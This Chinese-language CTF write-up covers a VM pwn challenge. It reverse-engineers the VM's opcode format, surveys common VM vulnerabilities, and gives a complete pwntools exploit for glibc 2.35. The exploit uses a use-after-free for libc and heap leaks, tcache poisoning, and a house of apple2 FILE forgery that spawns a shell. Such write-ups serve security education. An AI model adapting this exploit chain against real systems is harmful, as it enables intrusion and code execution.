2025全国大学生软件创新大赛软件系统安全赛vm
libc2.35 保护全开
逆向分析
main函数,附件中还有vmdata,vmcode这两个文件,这两个文件是用来初始化vm要执行的代码以及要打印的字符串
readfile函数
handle函数
逆向出来的结构体,这里的uk7,uk8应该是和栈有关,但是我做题时候没用到,也就没有进一步逆向了
handleOp函数,注意下面3个语句,这个&3,说明是取出这个字节的低2位,然后用作为op来进行switch-case的选择。整个函数的作用就是处理code段的代码,然后将相应的参数赋值给s这个缓冲区,再到handle函数中来执行,但要注意每个处理的方式不同因此特别处理。(比如op=0的时候有个for循环,但是实际上我们可以让前两个字节的数都为0,这样移位等于没有,因此只管最后一次循环的值即可)
s->a1 = *code;
s->a2 = s->a1 & 3;
op = (unsigned __int8)s->a2;
外面的OP0,OP1,OP2,OP3各有各的作用,它这个vm给的非常全,几乎覆盖了我能想到的所有指令。以OP0为例子.这里的switch-case是根据a2->a1 » 2来决定的,其实也就是一个字节的高6位,所以当时过了两个多小时还没有解,出题人给了个四大四小的提示,其实就是对应这个题目的一个自己的高6位和低2位,但当时已经逆向完了
最终逆向出来转换成脚本如下
pay=b''
def op0(op,arg1):
global pay
op=op<<2
pay+=p8(op)+b'\x00'*2+p8(arg1)
def op1(op,arg1):
global pay
op=op<<2
pay+=p8(op|1)+p8(arg1)
def op2(op,arg1,arg2):
global pay
op=op<<2
pay+=p8(op|2)+p8(arg1)+p8(arg2)
def op3(op,arg1,arg2):
global pay
op=op<<2
pay+=p8(op|3)+p8(arg1)+p8(arg2)+b'\x00'*8
VM攻击分析
VM一般会有如下几种攻击方式:
1.index越界,这是最常见的情况,一般都是reg_idx检查不严格,或者漏掉了某个idx的检查,要注意留意,目前还没遇到过stack的rsp越界的情况。有了这种越界一般就可以利用越界得到libcbase,然后最终getshell或者orw
2.任意地址读写,因为可以对寄存器进行赋值,有时候一些指令又根据寄存器来进行读写,因此会有任意地址读写
3.vm中没有越界,但是根据opcode执行的函数有漏洞,比如此题就有个堆的uaf漏洞
可以看到OP0中有heapOperate这个函数
OP0函数里面就是heap的常见操作add,delete,exit,同时case0的read只能往code段或者data段读入数据,case1的write函数只能打印data段的数据
func1函数.把data段的值复制到指定idx的堆上
func2函数,把heap段的值复制到指定offset的data段上
最重要的是delete函数有个uaf,有了uaf的堆可以说非常简单,这个题无非是套了个vm的外壳,让一些原本的操作变得复杂化而已,实际难度不大。
EXP的编写
把常见的glibc2.35的堆攻击迁移过来即可
- 显然这个题打tcache poison最快,但是因为是glibc2.35,tcache中有了个异或保护,因此heapbase也要leak出来。heapbase的泄露就是free堆块ck0进入tcache,那么show ck0再左移12位就可以得到heapbase
- 泄露libcbase也就是free一个大小为0x500的堆块让其直接进入unsorted bin,然后通过func2函数把这个值写入data段,再用write得到libcbase
- 之后就是tcache poison得到_IO_2_1_stderr_来进行IO的布置,打house of apple2然后exit触发就可以getshell
- 需要留意的一个地方就是你是整个写入code,调用了write函数后,你需要用pwntools交互来得到libcbase,但是此时整个code已经send完毕,所以每次code的最后应该是read(0,code_addr,0x1000)这种形式,可以让我们不断写入code,方便leak完后继续进行攻击
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x21A2 )')
# p=remote('192.0.100.2',9999)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
gdb.attach(p,'b *$rebase(0x21A2 )')
pause()
pay=b''
def op0(op,arg1):
global pay
op=op<<2
pay+=p8(op)+b'\x00'*2+p8(arg1)
def op1(op,arg1):
global pay
op=op<<2
pay+=p8(op|1)+p8(arg1)
def op2(op,arg1,arg2):
global pay
op=op<<2
pay+=p8(op|2)+p8(arg1)+p8(arg2)
def op3(op,arg1,arg2):
global pay
op=op<<2
pay+=p8(op|3)+p8(arg1)+p8(arg2)+b'\x00'*8
def reg0add1():
op1(33,0)
def reg0sub1():
op1(34,0)
def add():
op0(0x33,3)
def delete():
op0(0x33,4)
def value2op(value):
off=format(value, '032b')
for i in range(len(off)):
if(i==(len(off)-1)):
if(off[i]=='0'):
pass
elif(off[i]=='1'):
reg0add1()
break
if(off[i]=='0'):
op2(7,0,4)
elif(off[i]=='1'):
reg0add1()
op2(7,0,4)
#reg[3]=0 reg[2]=0x300
#reg[0]=0x300
op2(3,0,2)
#reg[4]=1
op1(33,4)
#reg[0]=0x600
op2(7,0,4)
add()
#reg[0]=0x300
for i in range(6):
op2(3,0,2)
add()
#reg[0]=0
op2(3,0,3)
delete()
#reg[1]=0x300
op2(3,1,2)
#reg[5]=0x300
op2(3,5,2)
op2(3,0,3) #reg[0]=0
op2(3,1,3) #reg[1]=0
op2(3,2,5) #reg[2]=0x300
#-------------------------------------------泄露libcbase------------------------------------
op0(0x33,6)
#write libcbase reg0=1,reg1=0,reg3=0x300
op2(3,0,3)
op2(3,1,3)
reg0add1()
op0(0x35,1)
#--------------------------------------------泄露heapbase--------------------------------------------
#delete(3) delete(2)
op2(3,0,3)
reg0add1()
reg0add1()
reg0add1()
delete()
op2(3,0,3)
reg0add1()
reg0add1()
delete()
op2(3,0,3)
value2op(0)
op2(3,1,0)
op2(3,0,3)
value2op(0x300)
op2(3,2,0)
op2(3,0,3)
value2op(3)
op0(0x33,6)
#write heapbase reg0=1,reg1=0,reg3=0x300
op2(3,0,3)
op2(3,1,3)
reg0add1()
op0(0x35,1)
#----------------------------------------------------------
#0x7063000
op2(3,0,3)
value2op(0x7063000)
#reg[5]=0x7063000
op2(3,5,0)
#reg[2]=0x1000
op2(3,0,3)
value2op(0x1000)
op2(3,2,0)
#read(0,0x7063000,0x1000)
op2(3,0,3)
op2(3,1,5)
op0(0x33,0)
pay=pay.ljust(0x300,b'\x00')
p.sendafter('Please input your opcodes:',pay)
#-----------------------------------------------------------------
pay=b'\x00'*0x4b8
libcbase= u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x21ace0
print(hex(libcbase))
heapbase=(u64(p.recvuntil(b'\x05')[-5:].ljust(8, b'\x00'))<<12) -0x1000
system_addr = libcbase + libc.symbols['system']
print(hex(heapbase))
#read(0,data,0x8)
op2(3,0,3) #reg[0]=0
value2op(8)
op2(3,2,0)
op2(3,0,3) #reg[0]=0
op2(3,1,3) #reg[1]=0
op0(0x35,0)
#ck3
op2(3,0,3) #reg[0]=0
value2op(8)
op2(3,2,0)
op2(3,0,3) #reg[0]=0
value2op(0)
op2(3,1,0)
op2(3,0,3) #reg[0]=0
value2op(2)
op0(0x33,5)
op2(3,0,3) #reg[0]=0
value2op(0x300)
add()
op2(3,0,3) #reg[0]=0
value2op(0x300)
add()
#ck9
#read(0,data,0x300)
op2(3,0,3) #reg[0]=0
value2op(0x300)
op2(3,2,0)
op2(3,0,3) #reg[0]=0
op2(3,1,3) #reg[1]=0
op0(0x35,0)
op2(3,0,3) #reg[0]=0
value2op(0x300)
op2(3,2,0)
op2(3,0,3) #reg[0]=0
value2op(0)
op2(3,1,0)
op2(3,0,3) #reg[0]=0
value2op(8)
op0(0x33,5)
op0(0x33,2)
# dbg()
op1(31,1) #21A2
pay=pay.ljust(0x1000,b'\x00')
p.send(pay)
stderr=libcbase+libc.sym['_IO_2_1_stderr_']
payload=p64(((heapbase+0x001c00)>>12)^stderr)
p.send(payload)
# sleep(0.5)
fake_IO_addr=libcbase+libc.sym['_IO_2_1_stderr_']
payload = p64(0) + p64(system_addr) + p64(1) + p64(2) #这样设置同时满足fsop
payload = payload.ljust(0x38, b'\x00') + p64(heapbase) #FAKE FILE+0x48
payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xc8, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
#*(A+0Xe0)=B _wide_data->_wide_vtable=fake_IO_addr + 0xe0 + 0xe8
payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
#*(B+0X68)=C=magic_gadget
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system_addr)
payload= b' sh;\x00\x00\x00'+p64(0)+payload
p.send(payload)
p.interactive()
最后打通
一个实用的模板
有时候会遇到vm中寄存器的值难以直接赋值导致寄存器值不好控制,构造exp很慢,在强网中做vm写了如下一个模板,可以用如下的模板提高效率
value就是期望得到的值,reg就是想要存入value的寄存器。inc reg就是让reg自增1的指令,mul 2 reg就是让reg乘2的指令(也就是左移1位)。可以根据具体题目变换如下函数。比如有时候的vm的自增1和左移1位没有直接实现,而是add reg1,reg2;shl reg1 reg2,这时候让reg2的值为1就实现了变换,继续使用这个模板
模板的缺点是因为是通过自增1和左移1位实现的得到value,因此需要不少的code长度,有时候读入的长度有限制比较短就比较难受,可能就用不了了
def func(value,reg):
string=''
off=format(value, '032b')
for i in range(len(off)):
if(i==(len(off)-1)):
if(off[i]=='0'):
pass
elif(off[i]=='1'):
string+=f'inc {reg}\n'
break
if(off[i]=='0'):
string+=f'mul 2 {reg}\n'
elif(off[i]=='1'):
string+=f'inc {reg}\nmul 2 {reg}\n'
return string